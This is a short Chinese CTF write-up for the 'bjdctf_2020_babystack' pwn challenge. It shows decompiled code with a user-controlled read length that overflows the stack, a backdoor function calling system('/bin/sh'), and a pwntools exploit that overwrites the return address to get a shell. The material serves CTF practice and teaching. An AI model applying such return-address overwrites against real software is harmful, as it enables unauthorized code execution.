题目链接:bjdctf_2020_babystack。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[12]; // [rsp+0h] [rbp-10h] BYREFsize_t nbytes; // [rsp+Ch] [rbp-4h] BYREFsetvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 1, 0LL);LODWORD(nbytes) = 0;puts("**********************************");puts("* Welcome to the BJDCTF! *");puts("* And Welcome to the bin world! *");puts("* Let's try to pwn the world! *");puts("* Please told me u answer loudly!*");puts("[+]Are u ready?");puts("[+]Please input the length of your name:");__isoc99_scanf("%d", &nbytes);puts("[+]What's u name?");read(0, buf, (unsigned int)nbytes);return 0;
}
留意到,程序读取的长度为用户控制,因此存在栈溢出。
同时,程序中存在后门函数 backdoor。
__int64 backdoor()
{system("/bin/sh");return 1LL;
}
因此,直接覆盖返回地址为 backdoor 函数,即可 GetShell。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():sla("[+]Please input the length of your name:\n", '999')sa("[+]What's u name?\n", 24 * b'a' + p64(0x00000000004006E6))irt()pwn()